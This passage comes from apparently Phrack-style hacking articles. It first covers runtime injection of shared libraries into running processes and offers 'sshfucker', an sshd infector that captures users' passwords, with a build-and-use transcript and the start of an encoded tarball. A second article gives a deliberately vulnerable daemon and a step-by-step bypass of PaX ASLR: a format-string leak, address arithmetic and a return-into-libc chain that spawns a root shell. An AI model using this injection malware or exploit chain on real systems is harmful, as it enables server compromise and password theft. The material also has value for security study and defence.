movebx,0x12345678; addr of _dl_open()

callebx; call _dl_open!

addesp,0x4

int3; breakpoint

string: call begin

db "/tmp/ourlibby.so",0x00

With good'old aleph1‑style trick we make our loader position independent (well it actually does not have to be, since we can place it anywhere we want to). We also place int3 after 'call' so process stops execution there and we can overwrite our loader with backed up, orginal code again. _dl_open() address is not known yet, but we can easily patch it into code afterwards.

A cleaner way would be getting the registers with ptrace(pid, PTRACE_GETREGS,...) and write the parameters to user_regs_struct structure, store libpath string in the stack and inject plain int 0x80 and int3, but it is really just a matter of taste and lazyness how you do this. About .so injection, this obviously will not work with staticly compiled binaries since static binaries do not even have dynamic linker loaded. For such binaries one has to think of something else, maybe plain‑asm code injection or something. Another disadvantage of injecting shared objects is that it can be easily noticed by peeking into /proc/<pid>/maps. Though one can use lkm's / kmem patching to hide them, or maybe infecting existing already loaded libs with new symbols and then forcing to reload them. However, if anyone has good ideas how to solve these problems, I would like to hear about them.

‑‑[ 6 ‑ A brief note about shared lib redirection

For runtime infection, function redirection is prolly the most obvious thing to do. Like Silvio Cesare showed us on his paper [2], PLT (Procedure Linkage Table) is prolly the cleanest and easiest way to do this. Getting our hands on executable's PLT via the linkmap is easy, the very first node of the link_map list has pointers to executables dynamic sections, and from there we can look for DT_SYMTAB section (just as we do with all objects), executables DT_SYMTAB entries are in fact part of the PLT. Redirection is done by placing jumps into the corresponding function entries on the PLT, to our functions in .so what we loaded.

‑‑[ 7 ‑ Conclusion

Runtime infection is a quite interesting technique indeed. It does not only pass pax, openwall and other such kernel patches, but tripwire and other file integrity checkers as well. As a demonstration of runtime infection abilities I have included little sshd‑infector at the end of this article. It is capable of snooping crypt(), PAM and md5 passwords of users logged via sshd. See Appendix A.

‑‑[ 8 ‑ References

[1] More elf buggery, bugtraq post, by grugq http://online.securityfocus.com/archive/1/274283/2002‑07‑10/2002‑07‑16/2

[2] Shared lib redirection by Silvio Cesare http://www.big.net.au/~silvio/lib‑redirection.txt

Subversive Dynamic Linking, by grugq http://online.securityfocus.com/data/library/subversiveld.pdf

Shaun Clowes's Blackhat 2001 presentation slides http://www.blackhat.com/presentations/bh‑europe‑01/shaun‑clowes/injectso3.ppt

Tool Interface Standard (TIS) Executable and Linking Format Specification http://x86.ddj.com/ftp/manuals/tools/elf.pdf

ptrace(2) man page http://www.die.net/doc/linux/man/man2/ptrace.2.html

‑‑[ Appendix A ‑ sshfucker: runtime sshd infector

sshf typescript:

root@:/tmp> tar zxvf sshf.tgz

sshf/

sshf/sshf.c

sshf/evilsshd.c

sshf/Makefile.in

sshf/config.h.in

sshf/configure

root@:/tmp> cd sshf

root@:/tmp/sshf> ./configure ; make

checking for gcc... gcc

checking for C compiler default output... a.out

checking whether the C compiler works... yes

checking whether we are cross compiling... no

checking for executable suffix...

checking for object suffix... o

checking whether we are using the GNU C compiler... yes

checking whether gcc accepts ‑g... yes

checking for pam_start in ‑lpam... yes

checking for MD5_Update in ‑lcrypto... yes

configure: creating ./config.status

config.status: creating Makefile

config.status: creating config.h

gcc ‑w ‑fPIC ‑shared ‑o evilsshd.so evilsshd.c ‑lcrypt ‑lcrypto ‑lpam ‑DHAVE_CONFIG_H

gcc ‑w ‑o sshf sshf.c

root@:/tmp/sshf> ps auwx | grep sshd

root 9597 0.0 0.3 2840 1312 ? S 03:04 0:00 sshd root@:/tmp/sshf>

root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so

attached to pid 9597

_dl_open at 0x4023014c

stopped 9597 at 0x402017ee

jam! if it jams here, try to telnet into sshd port or smthing

lib injection done!

org crypt() at 0x804b860, evil crypt at 0x40265d60

org getspnam at 0x804afa0, evil getspnam at 0x40265e0c

org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84

org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec

all done, now quiting...

root@:/tmp/sshf>

root@:/tmp/sshf> ssh ‑l luser 127.0.0.1

luser@127.0.0.1's password:

[luser@localhost:~>ls ‑al /tmp/.sshd_passwordz

‑rw‑r‑‑r‑‑ 1 root root 104 Jul 14 03:27 /tmp/.sshd_passwordz

[luser@localhost:~>exit

Enjoy.

begin 644 sshf.tgz

M'XL("(G",#T"`W‑S:&8N=&%R`.P\^UO;R*[]U?XKAA1*`B$DX=$6‑MRE(:6<

Bypassing PaX ASLR protection

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Bypassing PaX ASLR protection ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Tyler Durden <p59_09@author.phrack.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

0. Introduction

a. What is PaX and what it does

b. Known attacks against old PaX implems

c. What changed since ret‑into‑dl‑resolve()

1. What you ever wanted to know about PaX

a. Paging basics

b. PaX foundations (PAGEEXEC feature)

c. Address Space Layout Randomization Layout (ASLR) ‑ Stack ASLR

‑ Libraries ASLR

‑ Executable PT_LOAD double mapping technique

‑ ET_EXEC to ET_DYN full relinking technique

d. Last enforcements

2. ASLR weaknesses

a. EIP partial overwrite

b. Generating information leaks

3. Understanding the exploitation step by step

a. Global flow understanding using gdb

b. Examining the remote stack

c. Verify printf relative offset using elfsh

d. Guess functions and parameters absolute addresses

4. Exploitation success conditions

a. Looking for exploitable stack based overflows

b. Looking for leak functions

c. The frame pointer problem and workaround

d. Discussion about segvguard

5. The code

a. Sample target

b. ret‑into‑printf info leak code

6. Referenced papers and projects

‑‑‑‑‑‑‑[ 0. Introduction

[a] PaX, stands for PageEXec, is a linux kernel patch protection against buffer overflow attacks . It is younger than Openwall (PaX has been available for a year and a half now) and takes profit from the processor lowlevel paging mechanism in order to detect injected code execution . It also make return into libc exploits very hard to accomplish . This patch is very easy to use and can be downloaded on [1] , so as the tiny chpax tool used to configure PaX on a per file basis .

For accomplishing its task, PaX hooks two OS mechanisms :

‑ Refuse code execution on writable pages (PAX_PAGEEXEC option) . ‑ Randomize mmap()'ed library base address to make return into libc harder .

[b] Some years ago, Nergals came with his return into plt technique (ELF specific) allowing him to bypass the mmap() protection (implemented in OpenWall [2] at this time) . The technique has been very well described in a recent paper [3] and wont be developped again in this article .

[c] In the last months, the PaX team released et_dyn.zip, showing us how to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that the main object base address would also be randomized, and Nergal's return‑into‑plt attack blocked .

Unfortunately, most people think it is a real pain to relink all sensible binaries . The PaX team decided to release a new version of the patch, accomplishing the same task without needing relinking .

Since this patch represents the latest improvement concerning buffer overflow protection, a new study was necessary . We will demonstrate that in certain conditions, it is still possible to exploit stack based buffer overflows protected by PaX with all options actived, including the new ET_EXEC binary base address randomizing .

We will show that we can reduce the problem to a standard return‑into‑libc exploitation . Heap overflows wont be developped, but it might also be possible to exploit them in an ASLR environment using a derived technique .

‑‑‑‑‑‑‑[ 1. What you ever wanted to know about PaX

If you dont care about PaX itself, please pass this paragraph and go read paragraph 2 now :)

[a] Paging basics

On INTEL Pentium processors, userland pages are 4Ko big . The design for 32 bits linear addresses (when pagination is enabled, which is mandatory if protected mode is enabled) is :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | ||

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^^^

|||_____ Page offset (12 bits)

||

||_____ Page table entry index (10 bits)

|

|_______ Page directory entry index (10 bits)

If no extra options (like PSE or PAE) are actived, the processor handle a 3 level paging, using 2 intermediary tables called the page directory and the page table .

On Linux, segmentation protection is not used by default (segment base address is 0 everywhere, and segment limit is FFFFF everywhere), it means that virtual address space and linear address space are the same . For extended information about the INTEL Pentium protected mode, please refers to the Documentation reference [4], paragraph 3.6.2 describes paging basics, including PDE and PTE explainations .

For instance, linear address 0804812C can be decomposed like :

08 + two high bits in the third nibble '0' : Page directory entry index two low bits in the third nibble '0' + 48 : Page table entry index 12C (12 low bits) : Page offset

[b] PAGEEXEC option

There is a documentation on the PaX website [1] but as written on the webpage, it is quite outdated . I will try (thanks to the PaX team) to explain PaX mechanisms again and giving some details for our purpose :

First, PaX hook your page fault handler . This is an routine executed each time you have an access problem to a memory page . Linux pages are all 4Ko on the platform we are interrested in . This fault can be due to many reasons :

‑ Presence checking (not all 4Ko zone are mapped in memory at this moment, some pages may be swapped for instance and we want to unswap it)

‑ Supervisor check (the page has its supervisor bit set, only the kernel can access it, normal behavior is to send SIGSEGV)

‑ Access mode check : try to write and not allowed, try to read and not allowed, normal behaviour is send SIGSEGV .

‑ Other reasons described in [4] .

Since there is no dedicated bit on PDE (page directory entry) or PTE (page table entry) to control page execution, the PaX code has to emulate it, in order to detect inserted shellcode execution in the flow .

Every protected pages tables entries (PTE) are set to supervisor . Protected pages include everything (stack, heap, data pages) except the original executable code (executable PT_LOAD program header for each process object) .

Consequences are quite directs : each time we access one of these pages, the page fault handler is executed because the supervisor bit has been detected during the linear‑to‑physical address translation (so called page table walk) . PaX can control access to the page in its PF handling code .

What PaX can choose to do at this time :

‑ If it is a read/write access, consider it as normal if original page flags allows it and do not kill the task . For this to work, the PaX code has to temporary fill the corresponding PTE to a user one (remember that the page has been protected with the supervisor bit whereas it contains userland code), then do access on the page to fill the dtlb, and set the page as supervisor again . This will result in further data access to the page not beeing filtered by PF since it will use the dtlb cached value and not perform a page table walk again ;)

‑ If it is an execution access, kill the task and write the exploitation attempt in the logs .

[c] ASLR

=> Stack ASLR

bash$ export EGG="/bin/sh"

bash$ cat test.c

<++> DHagainstpax/test.c !187b540a

#include <stdio.h>

#include <stdlib.h>

int main(int argc, char **argv, char **envp)

{

char *str;

str = getenv("EGG");

printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n", str, str, envp, argv, (u_int) str ‑ (u_int) argv); return (0);

}

<‑‑>

bash$ ./a.out

str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4, delta = 4890

bash$ ./a.out

str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744, delta = 1930

bash$ ./a.out

str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734, delta = 1946

bash$ chpax ‑v a.out

a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is restricted, mmap() base is randomized, ET_EXEC base is randomized bash$

After investigation, it seems like the stack address is randomized on the 28 low bits, but in 2 times, which explain why the EGG environment variable is always on the same page offset (ECE) . First, bits 12 to 27 get randomized, then environment is copied on the stack, finally the page offset (bits 0 to 11) is randomized using some %esp padding . Note that low 4 bits are always 0 because the kernel enforces 16 bytes alignement after the %esp pad . This is not a big vulnerability and you dont need it to manage ASLR exploitation, even if it might help in some cases . It may be corrected in the next PaX version however .

=> Libraries ASLR

bash$ cat /proc/self/maps | grep libc

409da000‑40ae1000 r‑xp 00000000 03:01 833281 /lib/libc‑2.2.3.so 40ae1000‑40ae7000 rw‑p 00106000 03:01 833281 /lib/libc‑2.2.3.so bash$ cat /proc/self/maps | grep libc

4e742000‑4e849000 r‑xp 00000000 03:01 833281 /lib/libc‑2.2.3.so 4e849000‑4e84f000 rw‑p 00106000 03:01 833281 /lib/libc‑2.2.3.so bash$ cat /proc/self/maps | grep libc

4b61b000‑4b722000 r‑xp 00000000 03:01 833281 /lib/libc‑2.2.3.so 4b722000‑4b728000 rw‑p 00106000 03:01 833281 /lib/libc‑2.2.3.so bash$

Library base addresses get randomized on 16 bits (bits 12 to 27) . Page offset (low 12 bits) is not randomized, the high nibble is not randomized as well (always '4' to allow big library mapping, this nibble wont change unless a very big zone is mapped) . We already note that there's no NUL bytes in the library addresses, the PaX team choosed to randomize address on 16 bits instead .

=> Executable PT_LOAD double mapping technique

In order to block classical return‑into‑plt exploits, we can use two mechanisms . The first one consists in automatically remapping the executable program header (containing the binary .plt) and set the old (original) mapping as non‑executable using the PAGEXEC option .

For obscure reasons linked to crt*.o PIC code, vm_areas framing the remapped region have to share the same physical address than vm_areas framing the original region but that's not important for the presented attack .

The data PT_LOAD program header is not moved because the remapped code may contains absolute references to it . This is a vulnerability because it makes .got accessible in rw mode . We could for instance poison the table using partial entry overwrite (overwriting only 1 or 2 bytes in the entry) but this wont be discussed in the paper since this attack is derived from [5] and would require similar conditions . Moreover, the remapping option is time consuming and we prefer using full relinking .

=> ET_EXEC to ET_DYN full relinking technique

Now it comes more tricky ;p Maybe you already noticed executable libraries in your tree . These objects are ET_DYN (shared) and contains a valid entry point and valid interpreter (.interp) section . libc.so is very good examples :

bash$ /lib/libc.so.6

GNU C Library stable release version 2.2.3, by Roland McGrath et al. (...)

Report bugs using the `glibcbug' script to <bugs@gnu.org>. bash$

bash$ /usr/lib/libncurses.so

Segmentation fault

bash$

If we look closer at these libraries, we can see :

bash$ objdump ‑x /lib/libc.so.6 | grep INTERP

INTERP off 0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0 bash$ objdump ‑x /usr/lib/libncurses.so | grep INTERP

bash$

A sample relinking package called et_dyn.zip can be obtained on the PaX website, it shows how to perform relinking for your own binaries . For this, you just have to request a PT_INTERP segment to be created (not the case by default except for libc) and have a valid entry point function (a main function is enough) .

This relinking will result in all zone (code and data program header) beeing mapped as shared libraries, with base address randomized using the standard PaX mmap() mechanism . This is the protection we are going to defeat .

[d] Last enforcements

PaX also prevents from mprotect() based attacks, when mprotect is used to regain execution rights on a shellcode inserted in the stack for instance . It matters because in case we are able to guess the mprotect() absolute address, we wont be able to abuse it .

Trampoline emulation is not explained because it doesnt matter for our purpose .

‑‑‑‑‑‑‑[ 2. ASLR weaknesses

[a] As we saw, page offset is 12 bits long . It means that a one byte EIP overflow is not risky because we know that the modified return address will still point in the same page, since the INTEL x86 architecture is little endian . Partial overflows have not been studied much, except for the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using this technique we can replay or bypass part of the original code .

What is more interresting for us is replaying code, in our case, replaying buffer overflows, so that we'll be able to control the process execution flow and replay vulnerable code as much as needed . We start thinking about some brute forcing mechanism but we want to avoid crashing the program .

[b] What we have to do against PaX ASLR is retreiving information about the process, more precisely about the process address space .

I'll ask you to have a look at this sample vulnerable code before saying the whole technique :

<++> DHagainstpax/pax_daemon.c !d75c8383

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#defineNL'\n'

#defineCR'\r'

#defineOKAY_PASS"evil"

#defineFATAL(str){ perror(str); exit(‑1); }

intverify(char *pass);

intdo_auth();

charpass[48];

intlen;

intmain(int argc, char **argv)

{

return (do_auth());

}

/* Non‑buggy passwd based authentication */

intdo_auth()

{

printf("Password: ");

fflush(stdout);

len = read(0, pass, sizeof(pass) ‑ 1);

if (len <= 0)

FATAL("read");

pass[len] = 0;

if (!verify(pass))

{

printf("Access granted .\n");

return (0);

}

printf("You loose !");

fflush(stdout);

return (‑1);

}

/* Buggy password check (stack based overflow) */

intverify(char *pass)

{

charfiltered_pass[32];

inti;

bzero(filtered_pass, sizeof(filtered_pass));

/* this protocol is a pain in the ass */

for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++) filtered_pass[i] = pass[i];

if (!strcmp(filtered_pass, OKAY_PASS))

return (0);

return (‑1);

}

<‑‑>

This is a tiny password based authentication daemon, running throught inetd or at the command line . For inetd use, here is the line to add in inetd.conf :

666 stream tcp nowait root /usr/sbin/tcpd \ /home/anonymous/DHagainstpax/paxtestd

Just replace the command line with your own path for the daemon, inform inetd about it, and verify that it works well :

bash$ pidof inetd

99

bash$ kill ‑HUP 99

bash$ netstat ‑a ‑n | grep 666

tcp 0 0 0.0.0.0:666 0.0.0.0:* LISTEN bash$

This is a quite dumb code printing a password prompt, waiting for an input, and comparing it with the valid password, filtering CR and NL caracters .

bash$ ./paxtestd

Password: toto

You loose !

bash$ ./paxtestd

Password: evil

Access granted .

bash$

For bored people who think that this code cant be found in the wild, I would just argue that this work is proof of concept . Exploitation conditions are generalized in paragraph 4 .

We can easily idenfify a stack based buffer overflow vulnerability in this daemon, since the filtered_pass[] buffer is filled with the pass[] buffer, the copy beeing filtered in a 'for' loop with a missing size checking condition .

[b] What can we do to exploit this vulnerability in a PaX full random address space protected environment ? If we look closed, here is what we can see :

(...)

printf("Password: ");

fflush(stdout);

len = read(0, pass, sizeof(pass) ‑ 1);

if (len <= 0)

FATAL("read");

pass[len] = 0;

if (!verify(pass))

{

(...)

The assembler dump (slighly modified to match symbol names cause objdump symbol matching sucks :) for do_auth() looks like that :

804858c:55 push %ebp

804858d:89 e5 mov %esp,%ebp

804858f:83 ec 08 sub $0x8,%esp

8048592:83 c4 f4 add $0xfffffff4,%esp 8048595:68 bc 86 04 08 push $0x80486bc

804859a:e8 5d fe ff ff call 80483fc<printf> 804859f:83 c4 f4 add $0xfffffff4,%esp 80485a2:ff 35 00 98 04 08 pushl 0x8049800

80485a8:e8 1f fe ff ff call 80483cc<fflush> 80485ad:83 c4 20 add $0x20,%esp

80485b0:83 c4 fc add $0xfffffffc,%esp 80485b3:6a 2f push $0x2f

80485b5:68 20 98 04 08 push $0x8049820

80485ba:6a 00 push $0x0

80485bc:e8 6b fe ff ff call 804842c<read> 80485c1:89 c2 mov %eax,%edx

80485c3:89 15 50 98 04 08 mov %edx,0x8049850

80485c9:83 c4 10 add $0x10,%esp

80485cc:85 d2 test %edx,%edx

80485ce:7f 17 jg 80485e7 ; if (len <= 0) 80485d0:83 c4 f4 add $0xfffffff4,%esp 80485d3:68 c7 86 04 08 push $0x80486c7

80485d8:e8 df fd ff ff call 80483bc<perror> 80485dd:83 c4 f4 add $0xfffffff4,%esp 80485e0:6a ff push $0xffffffff

80485e2:e8 35 fe ff ff call 804841c<exit> 80485e7:b8 20 98 04 08 mov $0x8049820,%eax 80485ec:c6 04 02 00 movb $0x0,(%edx,%eax,1) 80485f0:83 c4 f4 add $0xfffffff4,%esp 80485f3:50 push %eax

80485f4:e8 27 ff ff ff call 8048520<verify> 80485f9:83 c4 10 add $0x10,%esp

More precisely:

(...)

8048595:68 bc 86 04 08 push $0x80486bc

804859a:e8 5d fe ff ff call 80483fc<printf>

(...)

80485f4:e8 27 ff ff ff call 8048520<verify> 80485f9:83 c4 10 add $0x10,%esp

The 'call printf' and 'call verify' are cleary on the same page, we know this because the 20 high bits of their respective linear address are the same . It means that we are able to return on this instruction using a one (or two) byte(s) eip overflow . If we think about the stack state, we can see that printf() will be called with parameters already present on the stack, i.e. the verify() parameters. If we control the first parameter of this function, we can supply a random format string to the printf function and generate a format bug, then call the vulnerable function again, this way we hope resuming the problem to a standard return into libc exploit, examining the remote process address space, more precisely the remote stack, in particular return addresses.

Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer, and one low EIP byte) for the password input :

"%001$08u \x9a"

"%002$08u \x9a"

"%003$08u \x9a"

"%iii$08u \x9a"

These format strings will display the 'i'th unsigned integer from the remote stack . Using this we can retreive interresting values using leak.c given at the end if this paper .

For those who are not that familiar with format bugs, this will read the i'th pushed parameter on the stack (iii$) and print it as an unsigned integer (%u) on eight characters (8), padding with '0' char if needed . Format strings are deeply explained in the printf(3) manpage .

Note that the 37th byte \x9a is the low byte in the 'call printf' linear address . Since the caller is responsible for parameters popping, they are still present on the stack when the verify function returns ('ret') and when the new return address is pushed by the 'call printf' so that the stack pointer is well synchronized .

bash‑2.05$ ./runit

[RECEIVED FROM SERVER] *Password: *

Connected! Press ^C to launch : Starting remote stack retreiving ...

Remote stack :

00000000 08049820 0000002F 00000001

472ED57C 4728BE10 B9BDB84C 4727464F

080486B0 B9BDB8B4 472C6138 473A2A58

47281A90 B9BDB868 B9BDB888 472B42EB

00000001 B9BDB8B4 B9BDB8BC 0804868C

bash‑2.05$

In this first example we read 80 bytes on the stack, reading 4 bytes per 4 bytes, replaying 20 times the overflow and provoking 20 times a format bug, each time incrementing the 'iii' counter in the format string (see below) .

As soon as we know enough information to perform a return into libc as described in [3], we can stop generating format bugs in loop and fully erase eip (and the parameters standing after eip on the stack) and perform standard return‑into‑libc exploitation . We can also choose to exploit the program using the generated format bugs as described it [8] .

‑‑‑‑‑‑‑[ 3. Understanding the exploitation step by step

The goal is to guess libc addresses so that we can perform a standard return into libc exploitation . For that we will use relative offsets from the retaddr we can read on the stack . This paragraph has been done to help you in your first ASLR exploitation .

[a] Let's understand better the execution flow using a debugger. This is what we can see in the gdb debugging session for the vulnerable daemon, at this moment waiting for its first input :

* WITHOUT ET_EXEC base address randomization

(gdb) bt

#0 0x400dff14 in __libc_read () at __libc_read:‑1

#1 0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6

#2 0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26 #3 0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1, ubp_av=0xbffffd54, init=0x8048374 <_init>,

fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>, stack_end=0xbffffd4c) at ../sysdeps/generic/libc‑start.c:129 (gdb)

* WITH ET_EXEC base address randomization

(gdb) bt

#0 0x4365ef14 in __libc_read () at __libc_read:‑1

#1 0x436aba58 in __DTOR_END__ () from /lib/libc.so.6

#2 0x4357d64f in ?? ()

#3 0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1, ubp_av=0xb5c36cf4, init=0x8048374 <_init>, fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>, stack_end=0xb5c36cec) at ../sysdeps/generic/libc‑start.c:129 (gdb)

As you can see, the symbol table is not synchronized anymore with the memory dump so that we cant rely on the resolved names to debug . Note that we will dispose of a correct symbol table in case the ET_EXEC binary object has been relinked into a ET_DYN one, has explained in paragraph 1, part c .

[b] Using the exploit, here is what we can see if we examine the stack with or without the ET_EXEC rand option :

bash$ ./runit

[RECEIVED FROM SERVER] *Password: *

Connected! Press ^C to launch : Starting remote stack retreiving ...

Remote stack (with ET_EXEC rand enabled) :

00000000 08049820 0000002F 00000001

482D157C 4826FE10 BDDB44DC 4825864F

080486B0 BDDB4544 482AA138 48386A58

48265A90 BDDB44F8 BDDB4518 482982EB

00000001 BDDB4544 BDDB454C 0804868C

If we disable the ET_EXEC rand option, here is what we see :

bash$ ./runit

(...)

Remote stack (with ET_EXEC rand disabled) :

00000000 08049820 0000002F 00000001

4007757C 40015E10 BFFFFCEC 0804864F

080486B0 BFFFFD54 40050138 4012CA58

4000BA90 BFFFFD08 BFFFFD28 4003E2EB

00000001 BFFFFD54 BFFFFD5C 0804868C

As we want to do a return into libc, address pointing in the libc are the most interresting . What we are looking for is the main() return address pointing in the remapped instance of the __libc_start_main function, in the .text section in the libc's address space .

Here is how to interpret the stack dump :

00000000 (...)

08049820

0000002F

00000001

435F657C

43594E10

B5C36C8C do_auth frame pointer

4357D64F do_auth() return address

080486B0 do_auth parameter ('pass' ptr)

B5C36CF4

435CF138

436ABA58

4358AA90

B5C36CA8

B5C36CC8 main() frame pointer

435BD2EB main() return address

00000001 argc

B5C36CF4 argv

B5C36CFC envp

0804868C (...)

[c] Now let's look at the libc binary to know the relative address for functions we are interrested in . For that we'll use the regex option in ELFsh [9] :

bash‑2.05$ elfsh ‑f /lib/libc.so.6 ‑sym ' strcpy '\|' exit '\|' \ setreuid '\|' system '

[SYMBOL TABLE]

[4425] 0x750d0 strcpy type: Function size: 00032 bytes => .text [4855] 0x48870 system type: Function size: 00730 bytes => .text [5670] 0xc59b0 setreuid type: Function size: 00188 bytes => .text [6126] 0x2efe0 exit type: Function size: 00248 bytes => .text

bash$ elfsh ‑f /lib/libc.so.6 ‑sym __libc_start_main

[SYMBOL TABLE]

[6218] 0x1d230 __libc_start_main type: Function size: 00193 bytes => .text

bash$

[d] As the main() function return into __libc_start_main , lets look precisely in the assembly code where main() will return . So, we would know the relative offset between the needed function address and the address of the 'call main' instruction . This code is located in the libc. This dump has been taken from my default SlackWare libc.so.6 for which you may not need to change relative file offsets in the exploit .

0001d230 <__libc_start_main>:

1d230: 55 push %ebp

1d231: 89 e5 mov %esp,%ebp 1d233: 83 ec 0c sub $0xc,%esp (...)

1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx 1d2eb: 50 push %eax

1d2ec: e8 9f f9 ff ff call 1cc90 <GLIBC_2.0+0x1cc90> (...)

Instructions following this last 'call 1cc90' are 'nop nop nop nop', just headed by the 'Letext' symbol, but thats not interresting for us .

Because the libc might have been recompiled, it may be possible to have different relative offsets for your own libc built and it would be very difficult to guess absolute addresses just using the main() return address in this case. Of course, if we have a binary copy of the used library (like a .deb or .rpm libc package), we can predict these offsets without any problem . Let's look at the offsets for my libc version, for which the exploit is based .

We know from the 'bt' output (see above) that the main address is the first __libc_start_main() parameter . Since this function has a frame pointer, we deduce that 8(%ebp) contains the main() absolute address . The __libc_start_main function clearly does an indirect call through %edx on it (see the last 3 instructions) :

1d2e6: 8b 55 08 mov 0x8(%ebp),%edx 1d2e9: ff d2 call *%edx

We deduce that the return address we read in the process stack points on the intruction at file offset 1d2eb :

1d2eb: 50 push %eax

We can now calculate the absolute address we are looking for :

. main() ret‑addr : file offset 0x1d2eb, virtual address 0x4003e2eb . system() : file offset 0x48870, virtual address unknown . setreuid() : file offset 0xc59b0, virtual address unknown . exit() : file offset 0x2efe0, virtual address unknown . strcpy() : file offset 0x750d0, virtual address unknown

What we deduce from this :

. system() addr= main ret + (system offset ‑ main ret offset) = 4003e2eb + (48870 ‑ 1d2eb)

= 4003e2eb + 2B585

= 40069870

. setreuid() addr = main ret + (setreuid offset ‑ main ret offset) = 4003e2eb + (c59b0 ‑ 1d2eb)

= 4003e2eb + a86c5

= 400e69b0

. exit() addr= main ret + (exit offset ‑ main ret offset) = 4003e2eb + (2efe0 ‑ 1d2eb)

= 4003e2eb + 11cf5

= 4004ffe0

. strcpy() addr= 4003e2eb + (750d0 ‑ 1d2eb)

= 4003e2eb + 57de5

= 400960d0

We needs some more offsets to perform a chained return into libc and insert NUL bytes as explained in Nergal's paper :

‑ A pointer on the setreuid() parameter reposing on the stack, to be used as a dst strcpy parameter (we need to nullify it) :

do_auth fp + 28 = B5C36CC8 + 1C

= B5C36CE4

The setreuid parameter address (reposing on the stack) can be found using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or if there is no frame pointer, using whatever stack variable address we can guess .

‑ A pointer on a NUL byte to be used as a src strcpy parameter (let's use the "/bin/sh" final byte address)

main ret addr + (string offset ‑ main ret offset) + strlen("/bin/sh") = 4003e2eb + (fcc19 ‑ 1d2eb) + 7

= 4003e2eb + df92e + 7

= 4011dc19 + 7

= 4011dc20

‑ A "/bin/sh" string with predictable absolute address for the system() parameter (we will find one in the libc's .rodata section which is part of the same zone (has the same base address) than libc's .text)

main ret addr + (string offset ‑ main ret offset) = 4003e2eb + (fcc19 ‑ 1d2eb)

= 4003e2eb + df92e

= 4011dc19

bash$ elfsh ‑f /lib/libc.so.6 ‑X '.rodata' | grep ‑A 1 '/bin/'

nbits.333 + 152 0xfcc18 : 00 2F 62 69 6E 2F 73 68 ./bin/sh nbits.333 + 160 0xfcc20 : 00 00 00 00 00 00 00 00 ........ ‑‑

zeroes + 19 0xff848 : 73 68 00 2F 62 69 6E 2F sh./bin/ zeroes + 27 0xff850 : 73 68 00 00 00 00 00 00 sh...... ‑‑

zeroes + 560 0xffad0 : 68 00 2F 62 69 6E 2F 73 h./bin/s zeroes + 568 0xffad8 : 68 00 74 6D 70 66 00 77 h.tmpf.w

bash$

‑ A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in order to do %esp lifting (we will find many ones in libc's .text)

For 'pop ret' sequence :

bash$ objdump ‑d ‑‑section='.text' /lib/libc.so.6 | grep ret ‑B 1 | \ grep pop ‑A 1

(...)

2c519: 5a pop %edx

2c51a: c3 ret

(...)

For 'pop pop ret' sequence :

bash$ objdump ‑d ‑‑section='.text' /lib/libc.so.6 | grep ret ‑B 3 | \ grep pop ‑A 3 | grep ‑v leave

(...)

4ce25: 5e pop %esi

4ce26: 5f pop %edi

4ce27: c3 ret

(...)

Note: be careful and check if the addresses are contiguous for the 3 intructions because the regex I use it not perfect for this last test .

Here is how you have to fill the stack in the final overflow (each case is 4 bytes lenght, the first dword is the return address of the vulnerable function) :

0: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 16: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 32: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 48: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 | 64: | setreuid addr | 'pop; ret' addr |setreuid argv1| system addr | 80: | exit addr | "/bin/sh" addr | ??? DONT ??? | ??? CARE ??? |

We need to overflow at least 84 bytes after the original return address . This is not a problem . The 4 first return‑into‑strcpy are used to nullify the setreuid argument, which has to be a 0x00000000 dword .

‑‑‑‑‑‑‑[ 4. Exploitation conditions

The attack suffers from many known limitations as you will see .

[a] Looking for exploitable stack based overflows

Not all overflows can be exploited like this . memcpy() and strncpy() overflows are vulnerable, so as byte‑per‑byte overflows . Overflow involving functions whoose behavior is to append a NUL byte are not vulnerable, except if we can find a 'call printf' instruction whoose absolute address low byte is NUL .

[b] Looking for leak functions

We can use printf() to leak information about the address space . We can also return into send() or write() and take advantage of the very good error handling code :

We will not crash the process if we try to read some unmapped process area . From the send(3) manual page :

ERRORS

(...)

EBADF An invalid descriptor was specified.

